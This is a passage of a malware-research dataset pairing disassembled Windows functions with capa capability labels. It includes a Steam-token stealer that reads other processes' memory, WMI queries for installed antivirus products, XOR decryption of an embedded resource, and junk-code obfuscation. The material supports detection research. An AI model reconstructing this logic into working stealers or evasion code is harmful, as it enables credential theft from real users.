joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e2e9
Capabilities:
Get steam token

Disassembly:
mov eax, 0x41e79e
call sub.msvcrt.dll__EH_prolog
sub esp, 0x45c
push ebx
xor ebx, ebx
push 0x64000
mov dword [ebp - 0x18], ebx
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x14], eax
cmp eax, ebx
jne 0x40e353
mov ecx, dword [ebp + 8]
push 0x423dfb
call fcn.0040e1a6
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040de55
mov eax, dword [ebp + 8]
jmp 0x40e4da
push esi
push edi
push 0x207
lea eax, [ebp - 0x25f]
push ebx
push eax
mov byte [ebp - 0x260], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x10]
push 0xfff
push 0xffffffffffffffff
push ebx
push ebx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 0x14]
call fcn.0040dbff
add esp, 0x2c
mov edi, eax
mov esi, 0x208
add edi, esi
mov ecx, edx
adc ecx, ebx
mov dword [ebp - 0x1c], ecx
cmp edx, ebx
ja 0x40e3b4
jmp 0x40e477
cmp edx, ebx
ja 0x40e3b4
cmp eax, 0xffff
jbe 0x40e3c7
push ebx
push esi
lea ecx, [ebp - 0x260]
push ecx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x260]
push eax
call sub.msvcrt.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040e10b
cmp dword [ebp - 0x2c], 0x12c
jbe 0x40e41d
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.0040e254
pop ecx
pop ecx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x48], ebx
je 0x40e40f
cmp dword [ebp - 0x48], 0xa
ja 0x40e4a6
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], bl
call fcn.0040de55
push 0x207
lea eax, [ebp - 0x25f]
push ebx
push eax
mov byte [ebp - 0x260], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x10]
push 0xfff
push 0xffffffffffffffff
push dword [ebp - 0x1c]
push edi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 0x14]
call fcn.0040dbff
add esp, 0x2c
mov ecx, eax
add ecx, esi
mov edi, edx
adc edi, ebx
mov dword [ebp - 0x18], edi
mov edi, ecx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
cmp edx, ebx
ja 0x40e3b4
jb 0x40e47f
cmp eax, ebx
ja 0x40e3a9
push dword [ebp - 0x10]
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
mov ecx, dword [ebp + 8]
mov dword [esp], 0x423dfc
call fcn.0040e1a6
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040de55
mov eax, dword [ebp + 8]
jmp 0x40e4d8
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x3c]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
push eax
mov ecx, esi
mov byte [esi], bl
call fcn.0040e203
push ebx
push 1
lea ecx, [ebp - 0x58]
call fcn.0040de55
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040de55
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40f4b7
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41e8fa
call sub.msvcrt.dll__EH_prolog
sub esp, 0x3c
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x4259fc
push 1
push esi
push 0x425acc
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.ROOTCIMV2
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f623
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
push edx
push esi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x424010
mov dword [ebp - 0x18], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f61c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x40f633
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x1c], esi
je 0x40f633
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x48]
push edx
push esi
push str.InstallDate
push eax
mov dword [ebp - 4], esi
call dword [ecx + 0x10]
push 1
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x40]
call fcn.0040f41d
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push esi
call dword [0x63e164]
push eax
call dword [0x63e0fc]
mov esi, eax
movzx eax, word [ebp - 0x2c]
push eax
movzx eax, word [ebp - 0x2e]
push eax
movzx eax, word [ebp - 0x30]
push eax
movzx eax, word [ebp - 0x38]
push eax
movzx eax, word [ebp - 0x36]
push eax
movzx eax, word [ebp - 0x32]
push eax
push str._d__d__d__d:_d:_d
push esi
call dword [0x63df8c]
mov ecx, dword [ebp + 8]
add esp, 0x20
push esi
call fcn.0040e564
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f630
push 0x424044
jmp 0x40f628
push 0x42404c
mov ecx, dword [ebp + 8]
call fcn.0040e564
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x40f640
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41e90c
call sub.msvcrt.dll__EH_prolog
sub esp, 0x24
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x4259fc
push 1
push esi
push 0x425acc
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.rootSecurityCenter2
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f748
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
push edx
push esi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x4240c0
mov dword [ebp - 0x18], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f741
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x40f758
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x1c], esi
je 0x40f758
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x30]
push edx
push esi
push str.displayName
push eax
mov dword [ebp - 4], esi
call dword [ecx + 0x10]
push dword [ebp - 0x28]
call fcn.0040f984
pop ecx
mov ecx, dword [ebp + 8]
push eax
call fcn.0040e564
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f755
push 0x4240e0
jmp 0x40f74d
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.0040e564
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x411612
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x41ec48
call sub.msvcrt.dll__EH_prolog
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0040e59b
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.0040e59b
lea eax, [edi + 0x18]
push eax
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.0040e59b
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x30]
add edi, 0x34
push edi
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
mov dword [esi + 0x30], eax
call fcn.0040e59b
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x412c9f
Capabilities:
Create thread

Disassembly:
mov eax, 0x41f0cb
call sub.msvcrt.dll__EH_prolog
sub esp, 0x48
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x54]
mov dword [ebp - 4], 2
call fcn.00411cc9
test byte [0x63df28], 1
mov eax, dword [ebp + 0x24]
mov byte [ebp - 4], 3
je 0x412cd5
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x54], eax
lea eax, [ebp + 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040e622
mov eax, dword [ebp + 0x68]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x6c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call fcn.0040e622
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x44]
call fcn.0040e622
lea eax, [ebp + 0x18]
push eax
lea ecx, [ebp - 0x38]
call fcn.0040e622
mov esi, 0x3e8
jmp 0x412d28
push esi
call dword [0x63dfa4]
cmp dword [0x63df28], 2
jae 0x412d21
inc dword [0x63df28]
push ebx
push ebx
lea eax, [ebp - 0x54]
push eax
push 0x411b8f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp + 8]
push 0x42420e
call fcn.0040e564
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x10], 1
mov byte [ebp - 4], 2
call fcn.00411d15
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040113a
lea ecx, [ebp + 0x5c]
mov byte [ebp - 4], bl
call fcn.0040e5cf
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x414075
Capabilities:
Get disk information

Disassembly:
mov eax, 0x41f43f
call sub.msvcrt.dll__EH_prolog
sub esp, 0x45c
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
xor esi, esi
push eax
inc esi
push 0x424430
lea ecx, [ebp + 0x70]
mov dword [ebp - 4], esi
call fcn.0040e79b
push eax
call sub.msvcrt.dll_strtok_s
add esp, 0xc
xor ebx, ebx
push ebx
push 0x424434
lea ecx, [ebp + 0x64]
mov dword [ebp - 0x10], eax
xor edi, edi
mov dword [ebp - 0x14], ebx
call fcn.0040e79b
push eax
call dword [0x63e098]
test eax, eax
je 0x4140cd
mov edi, esi
push ebx
push 0x424444
lea ecx, [ebp + 0x64]
call fcn.0040e79b
push eax
call dword [0x63e098]
test eax, eax
je 0x4140eb
mov edi, esi
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x10]
jmp 0x41426a
cmp edi, ebx
je 0x4141fd
lea eax, [ebp - 0x80]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x80]
cmp byte [ebp - 0x80], bl
je 0x414255
push 0x3e8
lea eax, [ebp - 0x468]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x14], ebx
je 0x414157
cmp eax, 2
jne 0x414157
lea ecx, [ebp + 0x64]
call fcn.0040e79b
push eax
lea eax, [ebp - 0x468]
push eax
call dword [0x63e1a8]
push esi
push str._DRIVE_REMOVABLE_
jmp 0x414173
lea ecx, [ebp + 0x64]
call fcn.0040e79b
push eax
lea eax, [ebp - 0x468]
push eax
call dword [0x63e1a8]
push esi
push str._DRIVE_FIXED_
lea eax, [ebp - 0x468]
push eax
call fcn.0040fbb0
add esp, 0xc
push eax
lea eax, [ebp - 0x468]
push eax
call dword [0x63e1a8]
push ebx
push dword [ebp + 0x88]
lea eax, [ebp - 0x468]
push edi
push dword [ebp + 0x84]
lea ecx, [ebp + 0x58]
push dword [ebp + 0x80]
push ebx
push dword [ebp + 0x7c]
push dword [ebp - 0x10]
push eax
call fcn.0040e79b
push eax
push 0x4241d7
lea ecx, [ebp + 0x8c]
call fcn.0040e79b
push eax
sub esp, 0x50
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.0040117e
call fcn.00413ca3
add esp, 0x80
push esi
call dword [0x63e020]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x414113
jmp 0x414255
push ebx
push dword [ebp + 0x88]
lea ecx, [ebp + 0x64]
push ebx
push dword [ebp + 0x84]
push dword [ebp + 0x80]
push ebx
push dword [ebp + 0x7c]
push eax
call fcn.0040e79b
push eax
lea ecx, [ebp + 0x58]
call fcn.0040e79b
push eax
push 0x4241da
lea ecx, [ebp + 0x8c]
call fcn.0040e79b
push eax
sub esp, 0x50
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.0040117e
call fcn.00413ca3
add esp, 0x80
lea eax, [ebp - 0x18]
push eax
push 0x42447c
push ebx
call sub.msvcrt.dll_strtok_s
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x4140f3
push 4
lea eax, [ebp - 0x10]
push eax
call fcn.0040f78b
lea ecx, [ebp + 8]
mov byte [ebp - 4], bl
call fcn.0040113a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x58]
call fcn.004115c2
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x418ef7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42c1b0]
jne 0x418f01
repz ret
jmp fcn.0041bbef
Function at 0x401080
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
xor esi, ebx
mov esi, ebx
mov ebx, esi
mov ebx, ebx
xor esi, eax
xor esi, ebx
xor ebx, eax
xor esi, ebx
mov ebx, ebx
inc edi
rol esi, 0xde
inc eax
imul ebx
bswap ebx
add eax, 0xd7
neg edi
dec edi
inc ebx
imul ebx
bswap eax
or edi, 0x99
rcl eax, 0xfe
rcr edi, 0x5f
rcl ebx, 0x4c
rol edi, 0x66
dec eax
rcr esi, 0xd3
sbb eax, 0xc6
add ebx, 0x8f
imul esi
sub eax, 0xb4
dec eax
inc ebx
rcr edi, 0xb1
neg esi
bswap ebx
bswap eax
dec esi
and edi, 0x8f
and edx, 0x68
sbb edi, 0x26
add edx, 0x9f
ror eax, 0x61
not esi
and esi, 0xd8
bswap edx
rcr ebx, 0x93
ror edi, 0xe6
imul esi
bswap esi
and esi, 0x71
rol edx, 0x72
imul ebx
or eax, 0x30
neg esi
dec esi
not edi
rcl edx, 0xa
rcl esi, 0x1c
xor ecx, ecx
xor edi, edi
xor eax, ebx
xor ebx, eax
xor eax, ebx
mov eax, esi
xor eax, eax
xor eax, ebx
add eax, 0xe1
inc edi
rol esi, 6
rcl ebx, 0xf
inc ebx
rol ebx, 0x66
sub ebx, 0xa6
neg edi
rol esi, 0xcc
imul edx
imul ebx
add edi, 0x2d
neg ebx
inc edi
add edx, 0xd6
rcl esi, 0x72
rol eax, 0x4e
sub edi, 0x5d
mov ebx, 0xde
not edx
sub edi, 0xb0
inc ebx
bswap ebx
bswap esi
add eax, 0xd
imul eax
rcl eax, 0xf3
and edi, 0x9e
imul eax
and eax, 0xb5
not edx
add eax, 0x87
imul esi
dec eax
rcl ebx, 0x39
ror edx, 0xdf
not eax
rcl edx, 0x49
dec eax
inc esi
or ebx, 0x24
and esi, 0x66
bswap esi
add ebx, 0x54
neg edi
dec edi
not eax
inc ebx
inc ebx
inc ebx
mov ebx, esi
xor esi, ebx
xor eax, eax
xor eax, ebx
xor eax, ebx
mov esi, ebx
xor eax, esi
mov esi, eax
mov eax, ebx
mov ecx, dword [ebp + 0xc]
and edi, 0x39
dec eax
bswap ebx
rcr eax, 0xad
imul eax
dec esi
inc esi
inc edx
sbb esi, 0xad
sbb eax, 0x3b
imul ebx
rcr esi, 0x43
dec ebx
imul esi
imul edx
ror eax, 0xd6
rol edx, 0x77
bswap eax
rcl edi, 0x98
sbb ebx, 0xc2
sub esi, 0x4d
inc edi
not esi
inc edx
and ebx, 0xfc
neg eax
neg ebx
bswap esi
or ebx, 0xdb
imul eax
imul eax
not ebx
neg edi
ror eax, 0xae
or eax, 0xa2
rcr eax, 0xc5
not edx
rcr ebx, 0xcf
not eax
inc eax
neg esi
neg eax
imul eax
sbb esi, 8
imul edi
or edi, 0x53
inc esi
dec ebx
sub esi, 0x42
bswap eax
mov edi, dword [ebp + 8]
mov esi, esi
mov eax, esi
xor esi, esi
mov ebx, ebx
xor eax, eax
xor esi, esi
xor eax, ebx
xor ebx, eax
mov ebx, eax
not byte [edi]
mov esi, ebx
mov esi, esi
mov ebx, ebx
mov esi, ebx
xor ebx, ebx
xor eax, ebx
mov esi, ebx
xor ebx, esi
mov eax, eax
xor esi, esi
xor esi, esi
mov esi, ebx
sub byte [edi], 0xf1
add byte [edi], 0x63
mov esi, eax
xor eax, ebx
mov eax, esi
mov esi, eax
mov esi, eax
mov ebx, esi
xor ebx, esi
xor esi, eax
mov esi, esi
imul byte [edi]
inc edi
loop 0x401255
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40a9d3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40aa70
push ebx
push esi
call fcn.0040a99c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040a930
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40aa1d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40aa6f
push edi
push eax
call fcn.0040b5f1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40aa3d
call fcn.00409491
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40aa6e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040a930
add esp, 0x20
test eax, eax
jne 0x40aa5c
push edi
call fcn.00409491
jmp 0x40aa64
push ebx
call fcn.00409491
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40bd6e
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x46d568
push 0x46d560
push str.FlsAlloc
push 0x1f
call fcn.0040bc2d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40bda2
push dword [ebp + 8]
mov ecx, esi
call dword [0x415160]
call esi
jmp 0x40bda8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40bdec
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x46d578
push 0x46d570
push str.FlsGetValue
push 0x21
call fcn.0040bc2d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40be23
push dword [ebp + 8]
mov ecx, esi
call dword [0x415160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40be2b
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x46d580
push 0x46d578
push str.FlsSetValue
push 0x22
call fcn.0040bc2d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40be65
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x415160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x403b60
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422e98
mov eax, dword fs:[0]
push eax
sub esp, 0xb4
mov eax, dword [0x42f060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xa
push 0x65
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x403d0c
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x403d0c
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
je 0x403d0c
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x403d0c
push 0xb0
lea eax, [ebp - 0xc0]
push 0
push eax
call fcn.0040c380
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
lea ecx, [ebp - 0xc0]
cmovae eax, dword [ebp + 8]
push eax
call fcn.00405400
mov byte [ebp - 4], 1
cmp dword [ebp - 0x70], 0
jne 0x403c1d
xor bl, bl
jmp 0x403c9a
push esi
call fcn.00410b15
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
je 0x403c48
sub ebx, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + str.sdrunner]
xor al, byte [ebx + ecx]
mov byte [ecx], al
cmp edx, esi
jb 0x403c30
push 0
push esi
push edi
lea ecx, [ebp - 0xc0]
call fcn.00405700
lea ecx, [ebp - 0xbc]
call fcn.00406110
test eax, eax
jne 0x403c8f
mov eax, dword [ebp - 0xc0]
lea ecx, [ebp - 0xc0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004026f0
push edi
call fcn.00410061
add esp, 4
mov bl, 1
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc4], eax
lea ecx, [ebp - 0xbc]
call fcn.00405090
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xc4], eax
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 2
push eax
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.0040a0b4
add esp, 4
jmp 0x403d0e
xor bl, bl
mov ecx, dword [ebp + 0x1c]
cmp ecx, 8
jb 0x403d44
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403d3a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403d62
push ecx
push edx
call fcn.0040a9f0
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a9ad
mov esp, ebp
pop ebp
ret
call fcn.00410ac4
int3
Function at 0x4049d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x404a02
jl 0x4049f5
test ecx, ecx
jne 0x404a02
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x404ac2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.00406210
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x404a6e
jg 0x404a2d
test esi, esi
je 0x404a6e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x404a45
mov eax, dword [esp + 0x10]
jl 0x404a3f
cmp eax, esi
jae 0x404a45
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.0040bdf0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x404a8f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x404aab
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x404a14
jl 0x404aab
test ecx, ecx
jne 0x404a14
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x404b06
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x404b06
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.0040bdf0
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x404b77
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x404b2c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x404b62
nop dword [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
